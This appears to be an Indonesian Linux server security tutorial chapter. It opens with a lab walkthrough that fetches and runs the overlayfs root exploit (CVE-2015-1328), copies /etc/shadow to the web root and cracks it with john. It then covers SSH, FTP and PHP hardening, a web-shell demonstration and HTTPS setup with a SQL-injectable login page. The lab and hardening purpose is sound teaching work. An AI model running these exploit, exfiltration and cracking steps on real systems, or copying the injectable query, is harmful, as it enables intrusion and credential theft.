16 Jun 2015 - Linux **Kernel** 3.13.0 < 3.19 (**Ubuntu** 12.04/14.04/14.10/15.04) - 'overlayfs' Privilege Escalation. CVE-2015-1328. Local **exploit** for Linux ...

Mencari exploit rooting di google.com

https://www.exploit-db.com/exploits/37292/

https://www.exploit-db.com/exploits/37292/

EXPLOIT DATABASE

Home Exploits Shellcode Papers Google Hacking Database Submit Sear

Linux Kernel 3.13.0 < 3.19 (Ubuntu 12.04/14.04/14.10/15.04) - 'overlayfs' Privilege Escalation

EDB-ID: 37292	**Author:** rebel	**CVE:** CVE-2015-1328
Published: 2015-06-16	**Type:** local	**Platform:** Linux
E-DB Verified: ✔	**Exploit:** Download // View Raw	**Vulnerable App:** N/A

« Previous Exploit

Next Ex

```
/*
# Exploit Title: ofs.c - overlayfs local root in ubuntu
# Date: 2015-06-15
# Exploit Author: rebel
# Version: Ubuntu 12.04, 14.04, 14.10, 15.04 (Kernels before 2015-06-15)
# Tested on: Ubuntu 12.04, 14.04, 14.10, 15.04
# CVE : CVE-2015-1328     (http://people.canonical.com/~ubuntu-security/cve/2015/CVE-2015-1328.html)
```

Opening 37292.c

You have chosen to open:

37292.c

which is: C file (5.0 KB)

from: https://www.exploit-db.com

What should Firefox do with this file?

Open with Notepad (default)

Save File

Do this automatically for files like this from now on.

OK

or: rebel | CVE: CVE-2015-1328

: local | Platform: Linux

Download // View Raw | Vulnerable App: N/A

s.c - overlayfs local root in ubuntu

ebel

2.04, 14.04, 14.10, 15.04 (Kernels before 2015-06-15)

12.04, 14.04, 14.10, 15.04

28 (http://people.canonical.com/~ubuntu-security/cve/2015/CVE-2015-1328.html)

Download file 17292.c

```
C:\>cd \Users\kurniawandata\Downloads

C:\Users\kurniawandata\Downloads>dir 37292.c
 Volume in drive C has no label.
 Volume Serial Number is 1EAE-5B55

 Directory of C:\Users\kurniawandata\Downloads

11/01/2016  08:14 PM             5,123 37292.c
               1 File(s)          5,123 bytes
               0 Dir(s)  194,927,923,200 bytes free

C:\Users\kurniawandata\Downloads>copy 37292.c c:\xampp\htdocs
        1 file(s) copied.

C:\Users\kurniawandata\Downloads>
```

```
wget http://192.168.1.9/37292.c
--2016-11-02 23:55:25--  http://192.168.1.9/37292.c
Connecting to 192.168.1.9:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 5123 (5.0K) [text/x-c]
37292.c: Permission denied

Cannot write to '37292.c' (Permission denied).
cd /tmp
pwd
/tmp
wget http://192.168.1.9/37292.c
--2016-11-02 23:55:56--  http://192.168.1.9/37292.c
Connecting to 192.168.1.9:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 5123 (5.0K) [text/x-c]
Saving to: '37292.c'

     0K .....                                                 100%  195M=0s

2016-11-02 23:55:56 (195 MB/s) - '37292.c' saved [5123/5123]

gcc 37292.c -o ngeroot
uname -a
Linux ubuntu 3.13.0-24-generic #46-Ubuntu SMP Thu Apr 10 19:08:14 UTC 2014 i686
athlon i686 GNU/Linux
whoami
www-data
./ngeroot
spawning threads
mount #1
mount #2
child threads done
/etc/ld.so.preload created
creating shared library
sh: 0: can't access tty; job control turned off
# whoami
root
#
```

gcc 37292.c -o ngeroot

./ngeroot

```
# cat /etc/passwd
```

cat /etc/passwd

```
# cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/s
n
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
libuuid:x:100:101::/var/lib/libuuid:
syslog:x:101:104::/home/syslog:/bin/false
mysql:x:102:106:MySQL Server,,,:/nonexistent:/bin/false
messagebus:x:103:107::/var/run/dbus:/bin/false
bind:x:104:110::/var/cache/bind:/bin/false
landscape:x:105:111::/var/lib/landscape:/bin/false
sshd:x:106:65534::/var/run/sshd:/usr/sbin/nologin
data:x:1000:1000:data,,,:/home/data:/bin/bash
proftpd:x:107:65534::/var/run/proftpd:/bin/false
ftp:x:108:65534::/srv/ftp:/bin/false
#
```

cat /etc/passwd

```
# cp /etc/shadow /var/www/html
# chmod 777 /var/www/html/shadow
```

```
root@kalidata:/home# wget http://192.168.1.157/shadow
--2016-11-03 02:03:30--  http://192.168.1.157/shadow
Connecting to 192.168.1.157:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 851
Saving to: 'shadow'

shadow              100%[===================>]     851  --.-KB/s

2016-11-03 02:03:30 (68.5 MB/s) - 'shadow' saved [851/851]

root@kalidata:/home# john shadow
Warning: detected hash type "sha512crypt", but the string is also r
"crypt"
Use the "--format=crypt" option to force loading these as that type
Using default input encoding: UTF-8
Loaded 1 password hash (sha512crypt, crypt(3) $6$ [SHA512 128/128 S
Press 'q' or Ctrl-C to abort, almost any other key for status
baseball         (data)
1g 0:00:00:19 DONE 2/3 (2016-11-03 02:04) 0.05263g/s 156.7p/s 156.7
123456..green
Use the "--show" option to display all of the cracked passwords rel
Session completed
root@kalidata:/home#
```

john shadow

Bab 45

Pengamanan dan pengawasan

45.1 Mematikan recovery mode pada GRUB

1. Install Ubuntu Server
2. Menghapus mode recovery

```
root@ubuntudata:/etc/default# ls
acpid    bsdmainutils   dbus    irqbalance  ntfs-3g  rsyslog  whoopsie
apache2  console-setup  devpts  keyboard    ntpdate  ssh      winbind
apport   crda           grub    locale      rcS      ufw
bind9    cron           halt    nss         rsync    useradd
root@ubuntudata:/etc/default# nano grub_
```

cd /etc/default

nano grub

Hilangklan # pada GRUB_DISABLE_RECOVERY=”true”

```
Machine   View   Devices   Help
  GNU nano 2.2.6                File: grub

# the memory map information from GRUB (GNU Mach, kernel of Fr
#GRUB_BADRAM="0x01234567,0xfefefefe,0x89abcdef,0xefefefef"

# Uncomment to disable graphical terminal (grub-pc only)
#GRUB_TERMINAL=console

# The resolution used on graphical terminal
# note that you can use only modes which your graphic card sup
# you can see them in real GRUB with the command `vbeinfo'
#GRUB_GFXMODE=640x480

# Uncomment if you don't want GRUB to pass "root=UUID=xxx" par
#GRUB_DISABLE_LINUX_UUID=true

# Uncomment to disable generation of recovery mode menu entrie
GRUB_DISABLE_RECOVERY="true"

# Uncomment to get a beep at grub start
#GRUB_INIT_TUNE="480 440 1"
```

```
root@ubuntudata:/etc/default# update-grub
Generating grub.cfg ...
Found linux image: /boot/vmlinuz-3.11.0-12-generic
Found initrd image: /boot/initrd.img-3.11.0-12-generic
Found memtest86+ image: /memtest86+.bin
done
root@ubuntudata:/etc/default# _
```

update-grub

3. Install Server

apt-get install apache2

apt-get install mysql-server

apt-get Install proftpd

```
root@ubuntudata:/# apt-get install proftpd
Reading package lists... Done
Building dependency tree
Reading state information... Done
Note, selecting 'proftpd-basic' instead of 'proftpd'
The following extra packages will be installed:
  libmemcached10 libmemcachedutil2
Suggested packages:
  openbsd-inetd inet-superserver proftpd-doc proftpd-mod-ldap
  proftpd-mod-mysql proftpd-mod-odbc proftpd-mod-pgsql proftpd-mod-sqlite
  proftpd-mod-geoip
The following NEW packages will be installed:
  libmemcached10 libmemcachedutil2 proftpd-basic
0 upgraded, 3 newly installed, 0 to remove and 119 not upgraded.
Need to get 2,308 kB of archives.
After this operation, 4,822 kB of additional disk space will be used.
Do you want to continue [Y/n]?
```

45.2 Pengamanan FTP Server

```
root@ubuntudata:/etc# cd proftpd
root@ubuntudata:/etc/proftpd# ls
blacklist.dat  dhparams.pem  modules.conf  sql.conf  virtuals.conf
conf.d         ldap.conf     proftpd.conf  tls.conf
root@ubuntudata:/etc/proftpd# ls -l
total 1320
-rw-r--r-- 1 root root 1310700 Jul  4  2013 blacklist.dat
drwxr-xr-x 2 root root    4096 Jul  4  2013 conf.d
-rw-r--r-- 1 root root    7384 Jul  4  2013 dhparams.pem
-rw-r--r-- 1 root root     701 Aug 19 08:53 ldap.conf
-rw-r--r-- 1 root root    2682 Aug 19 08:53 modules.conf
-rw-r--r-- 1 root root    5356 Aug 19 08:53 proftpd.conf
-rw-r--r-- 1 root root     862 Aug 19 08:53 sql.conf
-rw-r--r-- 1 root root    2082 Aug 19 08:53 tls.conf
-rw-r--r-- 1 root root     832 Aug 19 08:53 virtuals.conf
root@ubuntudata:/etc/proftpd# nano proftpd.conf
```

cd /etc/proftpd

nano proftpd.conf

```
TimeoutStalled                  600
TimeoutIdle                     1200

DisplayLogin                    welcome.msg
DisplayChdir                    .message true
ListOptions                     "-l"

DenyFilter                      \*.*/

# Use this to jail all users in their homes
DefaultRoot                     ~

# Users require a valid shell listed in /etc/shells to login.
# Use this directive to release that constrain.
# RequireValidShell             off

# Port 21 is the standard FTP port.
Port                            21

# In some cases you have to specify passive ports range to by-pass
# firewall limitations. Ephemeral ports can be used for that, but
# feel free to use a more narrow range.
# PassivePorts                  49152 65534
```

Hilangkan tanda # pada DefaultRoot

```
root@ubuntudata:/etc/proftpd# service proftpd restart
 * Stopping ftp server proftpd                                    [ OK ]
 * Starting ftp server proftpd                                    [ OK ]
root@ubuntudata:/etc/proftpd#
```

service proftpd restart

45.3 Berbagai pengamanan untuk SSH

Hardening pada SSH

```
root@ubuntufresh:/home/data# cd /etc
root@ubuntufresh:/etc# cd ssh
root@ubuntufresh:/etc/ssh# ls
moduli       ssh_host_dsa_key      ssh_host_ecdsa_key.pub  ssh_import_id
ssh_config   ssh_host_dsa_key.pub  ssh_host_rsa_key
sshd_config  ssh_host_ecdsa_key    ssh_host_rsa_key.pub
root@ubuntufresh:/etc/ssh# nano sshd_config_
```

cd /etc

cd ssh

nano sshd_config

Bisa juga nano /etc/ssh/sshd_config

```
#MaxStartups 10:30:60
#Banner /etc/issue.net

# Allow client to pass locale environment variables
AcceptEnv LANG LC_*

Subsystem sftp /usr/lib/openssh/sftp-server

# Set this to 'yes' to enable PAM authentication, account pr
# and session processing. If this is enabled, PAM authentica
# be allowed through the ChallengeResponseAuthentication and
# PasswordAuthentication.  Depending on your PAM configurati
# PAM authentication via ChallengeResponseAuthentication may
# the setting of "PermitRootLogin without-password".
# If you just want the PAM account and session checks to run
# PAM authentication, then enable this but set PasswordAuthe
# and ChallengeResponseAuthentication to 'no'.
UsePAM yes

MaxAuthTries 1
```

Masukkan :

MaxAuthTries 1 : Maksimal 1x login

Setelah itu simpan dan restart ssh server nya

```
root@ubuntufresh:/etc/ssh# service ssh restart
ssh stop/waiting
ssh start/running, process 1718
root@ubuntufresh:/etc/ssh#
```

Client melakukan koneksi

Hasilnya seperti di atas password salah

Pengamanan dengan tidak mengijinkan user root, di atas contoh bahwa secara default bahwa root dapat digunakan

```
  GNU nano 2.2.6              File: sshd_config

KeyRegenerationInterval 3600
ServerKeyBits 768

# Logging
SyslogFacility AUTH
LogLevel INFO

# Authentication:
LoginGraceTime 120
PermitRootLogin no
StrictModes yes

RSAAuthentication yes
PubkeyAuthentication yes
#AuthorizedKeysFile     %h/.ssh/authorized_keys

# Don't read the user's ~/.rhosts and ~/.shosts files
IgnoreRhosts yes
```

nano etc/ssh/sshd_config lalu simpan, lalu restart ssh server nya

```
192.168.1.157 - PuTTY

login as: root
root@192.168.1.157's password:
Access denied
root@192.168.1.157's password:
Access denied
root@192.168.1.157's password:
```

Hasilnya client tidak dapat melakukan login dengan user root

```
Command Prompt
Microsoft Windows XP [Version 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.

C:\Documents and Settings\rf>nmap -A 192.168.1.157

Starting Nmap 6.25 ( http://nmap.org ) at 2016-10-24 18:30 Pacific Sta

Nmap scan report for 192.168.1.157
Host is up (0.00060s latency).
Not shown: 994 closed ports
PORT     STATE SERVICE     VERSION
21/tcp   open  ftp         ProFTPD 1.3.4a
22/tcp   open  ssh         OpenSSH 6.1p1 Debian 4 (protocol 2.0)
| ssh-hostkey: 1024 50:c5:a5:44:df:1c:da:b0:c7:fc:85:70:a2:51:b5:07 (D
| 2048 2e:80:d6:df:23:29:65:98:67:b7:21:d2:f5:1a:4c:7f (RSA)
|_256 14:b0:c2:36:cd:ab:72:02:6e:cf:2c:44:c3:87:54:7b (ECDSA)
```

Menghilangkan banner debian yang terdeteksi oleh NMAP

```
  GNU nano 2.2.6              File: sshd_config

# and ChallengeResponseAuthentication to 'no'.
UsePAM yes
DebianBanner no
```

Masukkan “DebianBanner no” seperti di atas, simpan lalu restart ssh maka banner debian tidak muncul

```
C:\Documents and Settings\rf>nmap -A 192.168.1.157

Starting Nmap 6.25 ( http://nmap.org ) at 2016-10-24 18:34 Pacific Standar

Nmap scan report for 192.168.1.157
Host is up (0.0023s latency).
Not shown: 994 closed ports
PORT     STATE SERVICE     VERSION
21/tcp   open  ftp         ProFTPD 1.3.4a
22/tcp   open  ssh         OpenSSH 6.1p1 (protocol 2.0)
| ssh-hostkey: 1024 50:c5:a5:44:df:1c:da:b0:c7:fc:85:70:a2:51:b5:07 (DSA)
| 2048 2e:80:d6:df:23:29:65:98:67:b7:21:d2:f5:1a:4c:7f (RSA)
|_256 14:b0:c2:36:cd:ab:72:02:6e:cf:2c:44:c3:87:54:7b (ECDSA)
53/tcp   open  domain      ISC BIND 9.9.2-P1
```

Nama debian sudah tidak tampil

Hasilnya saat client melakukan nmap ke server ssh

```
root@ubuntupower:/var/log# ls
alternatives.log  clientx           faillog    mail.log    samba
apache2           dbconfig-common   fsck       mysql       syslog
apt               dist-upgrade      installer  mysql.err   udev
auth.log          dmesg             kern.log   mysql.log   ufw.log
boot.log          dmesg.0           landscape  nasigoreng  unattended-upgrades
bootstrap.log     dmesg.1.gz        lastlog    news        upstart
btmp              dpkg.log          mail.err   proftpd     wtmp
root@ubuntupower:/var/log# nano auth.log
```

Jika ingin mengetahui ip user yang mengakses ssh server dapat masuk ke file auth.log

seperti di atas

cd /var/log

cat auth.log

45.4 Pengamanan Web Server APACHE dari PHP Shell

PHP Shell adalah aplikasi berbasis web yang digunakan untuk mengontrol suatu komputer dengan cara menginjeksi shell dari hasil pengkodean dengan bahasa PHP.

```
root@ubuntufresh:/home/data# locate php.ini
/etc/php5/apache2/php.ini
/etc/php5/cli/php.ini
/usr/share/php5/php.ini-development
/usr/share/php5/php.ini-production
/usr/share/php5/php.ini-production-dist
/usr/share/php5/php.ini-production.cli
root@ubuntufresh:/home/data# nano /etc/php5/apache2/php.ini
```

nano /etc/php5/apache2/php.ini

Masukkan

```
; This directive allows you to disable certain functions for security reasons.
; It receives a comma-delimited list of function names. This directive is
; *NOT* affected by whether Safe Mode is turned On or Off.
; http://php.net/disable-functions
;disable_functions = pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifes
disable_functions = show_source, system, passthru, exec, popen, proc_open, allo

; This directive allows you to disable certain classes for security reasons.
; It receives a comma-delimited list of class names. This directive is
```

disable_functions = show_source, system, passthru, exec, popen, proc_open, allow_url_fopen, symlink, exec,passthru,shell_exec,system,proc_open,popen,curl_multi_exec,parse_ini_file

```
; When floats & doubles are serialized store ser
; digits after the floating point. The default v
; are decoded with unserialize, the data will re
serialize_precision = 17

; open_basedir, if set, limits all file operatio
; and below.  This directive makes most sense if
; or per-virtualhost web server configuration fi
; *NOT* affected by whether Safe Mode is turned
; http://php.net/open_basedir
open_basedir = /var/www/

; This directive allows you to disable certain f
; It receives a comma-delimited list of function
; *NOT* affected by whether Safe Mode is turned

^G Get Help   ^O WriteOut   ^R Read File  ^Y Prev P
^X Exit       ^J Justify    ^W Where Is   ^V Next P
```

open_basedir = /var/www/

```
root@ubuntufresh:/home/data# service apache2 start
 * Starting web server apache2
apache2: Could not reliably determine the server's fully qualified domain name,
using 127.0.1.1 for ServerName
httpd (pid 1093) already running
                                                                        [ OK ]
root@ubuntufresh:/home/data#
```

service apache2 start

```
root@ubuntufresh:/var/www# wget http://192.168.1.9/shellxx.txt
--2016-09-25 06:43:53--  http://192.168.1.9/shellxx.txt
Connecting to 192.168.1.9:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 105630 (103K) [text/plain]
Saving to: 'shellxx.txt'

100%[=====================================>] 105,630     --.-K/s   in 0.01

2016-09-25 06:43:53 (8.77 MB/s) - 'shellxx.txt' saved [105630/105630]

root@ubuntufresh:/var/www# mv shellxx.txt shell.php
root@ubuntufresh:/var/www#
```

```
uname -a :  Linux ubuntufresh 3.8.0-19-generic #29-Ubuntu SMP Wed Apr 17 18:19:42 UTC 2013 i686 athlon i686 GNU/Linux
sysctl :    -
$OSTYPE :
Server :    Apache/2.2.22 (Ubuntu)
id :        uid=33(www-data) gid=33(www-data) groups=33(www-data)
pwd :       /var/www  ( drwxr-xr-x )
cuted command: safe_dir

142174 drwxr-xr-x   2      root      root     4096 02.09.2016 08:45 sinaraccounting
131227 drwxrwxrwx   3      root      root     4096 09.06.2016 23:30 blog
130999 -rw-r--r--   1      root      root 10679789 10.06.2016 13:31 blog.zip.1
137903 -rw-r--r--   1      root      root      177 23.09.2016 08:53 index.html
132295 -rw-r--r--   1      root      root      785 23.09.2016 09:31 login.php
141973 -rw-r--r--   1      root      root  1898132 02.09.2016 22:46 filesx.zip
130841 -rw-r--r--   1      root      root   105630 02.02.2013 06:24 shell.php
142212 drwxr-xr-x   5      root      root     4096 02.09.2016 08:45 blogphp
142151 drwxr-xr-x   3      root      root     4096 02.09.2016 08:45 data
136485 -rw-r--r--   1      root      root 10679789 10.06.2016 13:31 blog.zip

:: Work in safe_mode ::
Work directory 4 /var/www                                   Change
:: Edit files ::
File for edit 4 /var/www/login.php                          Edit file
:: Create/Delete File/Dir ::
name 4 new_name                          Create  file       Create/Delete
:: Chown/Chgrp/Chmod ::
Command 4 CHMOD  param1 4 filename                  param2 4 0777          Execute
```

```
Send email
To 4 hacker@mail.com
From 4 billy@microsoft.com
Subj 4 hello billy
Mail 4 mail text here
Send

To 4 hacker@mail.com
From 4 billy@microsoft.com
Subj 4 file from n0sh3ll
Local file 4 /var/www
Archivation 4 without archiv
Send

:: Databases ::
Dump database table
Type 4 MySQL
SQL-Server : Port 4 localhost : 3306
Login : Password 4 root : password
Database . Table 4 mysql . user
Save dump in file 4 dump.sql
Dump

Type 4 MyS
SQL-Server : Port 4 localho
Login : Password 4 root
Database 4 mysql
SQL query 4
show tables;
```

```
var/www/index.html
<html><body><h1>It works!</h1>
<p>This is the default web page for this server.</p>
<p>The web server software is running but no content has been added, yet.<
</body></html>
Can't edit file! Only read access!
```

9. Pengawasan apache dari log

```
root@ubuntupower:/var/log/apache2# ls -l
total 80
-rw-r----- 1 root adm 33183 Aug 22 04:46 access.log
-rw-r----- 1 root adm 32867 Aug 22 04:45 error.log
-rw-r----- 1 root adm     0 Aug 20 20:23 other_vhosts_access.log
root@ubuntupower:/var/log/apache2#
```

cd var/log/apache2

nano access.log

45.5 Pengawasan SSH dari log

```
root@ubuntupower:/var/log# ls
alternatives.log  clientx          faillog    mail.log    samba
apache2           dbconfig-common  fsck       mysql       syslog
apt               dist-upgrade     installer  mysql.err   udev
auth.log          dmesg            kern.log   mysql.log   ufw.log
boot.log          dmesg.0          landscape  nasigoreng  unattended-upgrades
bootstrap.log     dmesg.1.gz       lastlog    news        upstart
btmp              dpkg.log         mail.err   proftpd     wtmp
root@ubuntupower:/var/log# nano auth.log
```

cd /var/log

cat auth.log

```
Retype new UNIX password:
passwd: password updated successfully
root@ubuntufresh:/home/data# ifconfig
eth0      Link encap:Ethernet  HWaddr 08:00:27:1d:82:e3
          inet addr:192.168.1.102  Bcast:192.168.1.255  Mas
          inet6 addr: fe80::a00:27ff:fe1d:82e3/64 Scope:Lin
          UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:
          RX packets:5458 errors:0 dropped:0 overruns:0 fra
          TX packets:3723 errors:0 dropped:0 overruns:0 car
          collisions:0 txqueuelen:1000
          RX bytes:616706 (616.7 KB)  TX bytes:488681 (488.

lo        Link encap:Local Loopback
          inet addr:127.0.0.1  Mask:255.0.0.0
          inet6 addr: ::1/128 Scope:Host
          UP LOOPBACK RUNNING  MTU:65536  Metric:1
          RX packets:20 errors:0 dropped:0 overruns:0 frame
          TX packets:20 errors:0 dropped:0 overruns:0 carri
          collisions:0 txqueuelen:0
          RX bytes:1152 (1.1 KB)  TX bytes:1152 (1.1 KB)

root@ubuntufresh:/home/data# who
data     tty1         2016-10-12 06:23
cewek    pts/0        2016-10-12 07:25 (192.168.1.9)
root@ubuntufresh:/home/data#
```

Cara mengetahui user lain yang sedang login melalui SSH : who

45.6 Pegawasan Proftpd dari log

```
root@ubuntupower:/var/log/proftpd# ls -l
total 12
-rw-r----- 1 root root    0 Aug 20 20:25 controls.log
-rw-r----- 1 root root 8546 Aug 22 03:28 proftpd.log
-rw-r--r-- 1 root root    0 Aug 20 20:51 xferlog
root@ubuntupower:/var/log/proftpd# cat proftpd.log
```

cd /var/log/proftpd

cat proftpd.log

45.7 Pengamanan komunikasi data dengan HTTPS

HTTPS (also called HTTP over TLS, HTTP over SSL, and HTTP Secure) is a protocol for secure communication over a computer network which is widely used on the Internet. HTTPS consists of communication over Hypertext Transfer Protocol (HTTP) within a connection encrypted by Transport Layer Security or its predecessor, Secure Sockets Layer. The main motivation for HTTPS is authentication of the visited website and protection of the privacy and integrity of the exchanged data.

Sumber : https://en.wikipedia.org/wiki/HTTPS

Protokol transfer hiperteks adalah versi aman dari HTTP, protokol komunikasi dari World Wide Web. Ditemukan oleh Netscape Communications Corporation untuk menyediakan autentikasi dan komunikasi tersandi dan penggunaan dalam komersi elektris.

Selain menggunakan komunikasi plain text, HTTPS menyandikan data sesi menggunakan protokol SSL (Secure Socket layer) atau protokol TLS (Transport Layer Security). Pada umumnya port HTTPS adalah 443.

Tingkat keamanan tergantung pada ketepatan dalam mengimplementasikan pada browser web dan perangkat lunak server dan didukung oleh algorithma penyandian yang aktual.

Oleh karena itu, pada halaman web digunakan HTTPS, dan URL yang digunakan dimulai dengan https:// bukan dengan http://.

Kesalahpahaman yang sering terjadi pada pengguna kartu kredit di web ialah dengan menganggap HTTPS "sepenuhnya" melindungi transaksi mereka. Sedangkan pada kenyataannya, HTTPS hanya melakukan enkripsi informasi dari kartu mereka antara browser mereka dengan web server yang menerima informasi.

Pada web server, informasi kartu mereka secara tipikal tersimpan di database server (kadang-kadang tidak langsung dikirimkan ke pemroses kartu kredit), dan server database inilah yang paling sering menjadi sasaran penyerangan oleh pihak-pihak yang tidak berkepentingan.

Sumber : https://id.wikipedia.org/wiki/HTTP_Secure

SSL (Secure Sockets Layer) is the standard security technology for establishing an encrypted link between a web server and a browser. This link ensures that all data passed between the web server and browsers remain private and integral. SSL is an industry standard and is used by millions of websites in the protection of their online transactions with their customers.

Sumber : http://info.ssl.com/article.aspx?id=10241

```
root@ubuntufresh:/etc/php5/apache2# sudo a2enmod ssl
Enabling module ssl.
See /usr/share/doc/apache2.2-common/README.Debian.gz on how to configure SSL and
 create self-signed certificates.
To activate the new configuration, you need to run:
  service apache2 restart
root@ubuntufresh:/etc/php5/apache2# sudo service apache2 restart
 * Restarting web server apache2
apache2: Could not reliably determine the server's fully qualified domain name,
using 127.0.1.1 for ServerName
apache2: Could not reliably determine the server's fully qualified domain name,
using 127.0.1.1 for ServerName
                                                                        [ OK ]
root@ubuntufresh:/etc/php5/apache2#
```

Mengaktifkan SSL Module

sudo a2enmod ssl

sudo service apache2 restart

Membuat Self-Signed SSL Certificate

```
root@ubuntufresh:/etc/php5/apache2# sudo mkdir /etc/apache2/ssl
root@ubuntufresh:/etc/php5/apache2# sudo openssl req -x509 -nodes -days 365 -ne
key rsa:2048 -keyout /etc/apache2/ssl/apache.key -out /etc/apache2/ssl/apache.c
t
Generating a 2048 bit RSA private key
.........................................+++
...............................+++
writing new private key to '/etc/apache2/ssl/apache.key'
-----
You are about to be asked to enter information that will be incorporated
into your certificate request.
What you are about to enter is what is called a Distinguished Name or a DN.
There are quite a few fields but you can leave some blank
For some fields there will be a default value,
If you enter '.', the field will be left blank.
-----
Country Name (2 letter code) [AU]:
```

```
-----
Country Name (2 letter code) [AU]:US
State or Province Name (full name) [Some-State]:New york
Locality Name (eg, city) []:New York City
Organization Name (eg, company) [Internet Widgits Pty Ltd]:data
Organizational Unit Name (eg, section) []:data
Common Name (e.g. server FQDN or YOUR name) []:data
Email Address []:data@testing12345.com
root@ubuntufresh:/etc/php5/apache2#
```

sudo mkdir /etc/apache2/ssl

sudo openssl req -x509 -nodes -days 365 -newkey rsa:2048 -keyout /etc/apache2/ssl/apache.key -out /etc/apache2/ssl/apache.crt

Country Name (2 letter code) [AU]:US

State or Province Name (full name) [Some-State]:New York

Locality Name (eg, city) []:New York City

Organization Name (eg, company) [Internet Widgits Pty Ltd]:Your Company

Organizational Unit Name (eg, section) []:Department of Kittens

Common Name (e.g. server FQDN or YOUR name) []:your_domain.com

Email Address []:your_email@domain.com

Konfigurasi Apache untuk menggunakan SSL :

sudo nano /etc/apache2/sites-available/default-ssl.conf

```
  GNU nano 2.2.6                          File: /etc/apache2/sites-available/default-ssl.conf

<IfModule mod_ssl.c>
    <VirtualHost _default_:443>
        ServerAdmin admin@kurniawandataaja.com
        ServerName kurniawandataaja.com
        ServerAlias www.kurniawandataaja.com
        DocumentRoot /var/www/html
        ErrorLog ${APACHE_LOG_DIR}/error.log
        CustomLog ${APACHE_LOG_DIR}/access.log combined
        SSLEngine on
        SSLCertificateFile /etc/apache2/ssl/apache.crt
        SSLCertificateKeyFile /etc/apache2/ssl/apache.key
        <FilesMatch "\.(cgi|shtml|phtml|php)$">
                        SSLOptions +StdEnvVars
        </FilesMatch>
        <Directory /usr/lib/cgi-bin>
                        SSLOptions +StdEnvVars
        </Directory>
        BrowserMatch "MSIE [2-6]" \
                        nokeepalive ssl-unclean-shutdown \
                        downgrade-1.0 force-response-1.0
        BrowserMatch "MSIE [17-9]" ssl-unclean-shutdown
    </VirtualHost>
</IfModule>
```

```
<IfModule mod_ssl.c>
  <VirtualHost _default_:443>
    ServerAdmin admin@example.com
    ServerName your_domain.com
    ServerAlias www.your_domain.com
    DocumentRoot /var/www/html
    ErrorLog ${APACHE_LOG_DIR}/error.log
    CustomLog ${APACHE_LOG_DIR}/access.log combined
    SSLEngine on
    SSLCertificateFile /etc/apache2/ssl/apache.crt
    SSLCertificateKeyFile /etc/apache2/ssl/apache.key
    <FilesMatch "\.(cgi|shtml|phtml|php)$">
            SSLOptions +StdEnvVars
    </FilesMatch>
    <Directory /usr/lib/cgi-bin>
            SSLOptions +StdEnvVars
    </Directory>
    BrowserMatch "MSIE [2-6]" \
            nokeepalive ssl-unclean-shutdown \
            downgrade-1.0 force-response-1.0
```

```
    BrowserMatch "MSIE [17-9]" ssl-unclean-shutdown
  </VirtualHost>
</IfModule>
```

Mengaktifkan SSL Virtual Host

sudo a2ensite default-ssl.conf

sudo service apache2 restart

```
root@ubuntufresh:/var/www# sudo a2ensite default-ssl.conf
Enabling site default-ssl.conf.
To activate the new configuration, you need to run:
  service apache2 reload
root@ubuntufresh:/var/www# sudo service apache2 restart
 * Restarting web server apache2
Warning: DocumentRoot [/var/www/html] does not exist
apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1 for ServerName
 ... waiting Warning: DocumentRoot [/var/www/html] does not exist
apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1 for ServerName

root@ubuntufresh:/var/www# ls
blog  blogphp  blog.zip  blog.zip.1  data  filesx.zip  index.html  login.php  shell.php  sinaraccounting
root@ubuntufresh:/var/www# mkdir html
root@ubuntufresh:/var/www# cd html
```

Buat folder /etc/www/html dan file index.php

```
  GNU nano 2.2.6                                    File: index.php

<?php
    if(isset($_POST['login']))
    {
        $username = $_POST['username'];
        $password = $_POST['password'];
        $con = mysqli_connect('localhost','root','baseball','sample');
        $result = mysqli_query($con, "SELECT * FROM `users` WHERE username='$username' AND password='$password'");
        if(mysqli_num_rows($result) == 0)
            echo 'Invalid username or password';
        else
            echo '<h1>Logged in</h1><p>A Secret for you....</p>';
    }
    else
    {
?>
        <form action="" method="post">
            Username: <input type="text" name="username"/><br />
            Password: <input type="password" name="password"/><br />
            <input type="submit" name="login" value="Login"/>
        </form>
<?php
    }
?>
</body>
</html>
```

Untrusted Connection
https://192.168.1.102
This Connection is Untrusted
You have asked Firefox to connect securely to 192.168.
connection is secure.
Normally, when you try to connect securely, sites will pre
are going to the right place. However, this site's identity
What Should I Do?
If you usually connect to this site without problems, this
impersonate the site, and you shouldn't continue.
Get me out of here!
Technical Details
I Understand the Risks

You are about to override how Firefox identifies this site.
Legitimate banks, stores, and other public sites will not ask you to do this.
Server
Location:
https://192.168.1.102/
Get Certificate
Certificate Status
This site attempts to identify itself with invalid information.
View...
Wrong Site
The certificate belongs to a different site, which could mean that someone is trying to impersonate this site.
Unknown Identity
The certificate is not trusted because it hasn't been verified as issued by a trusted authority using a secure signature.
Permanently store this exception
Confirm Security Exception
Cancel

Saat pertama kali adalah hal yang wajar tapi jika dua kali maka patut di waspadai

Contoh Jika attacker melakukan ARP Spoofing

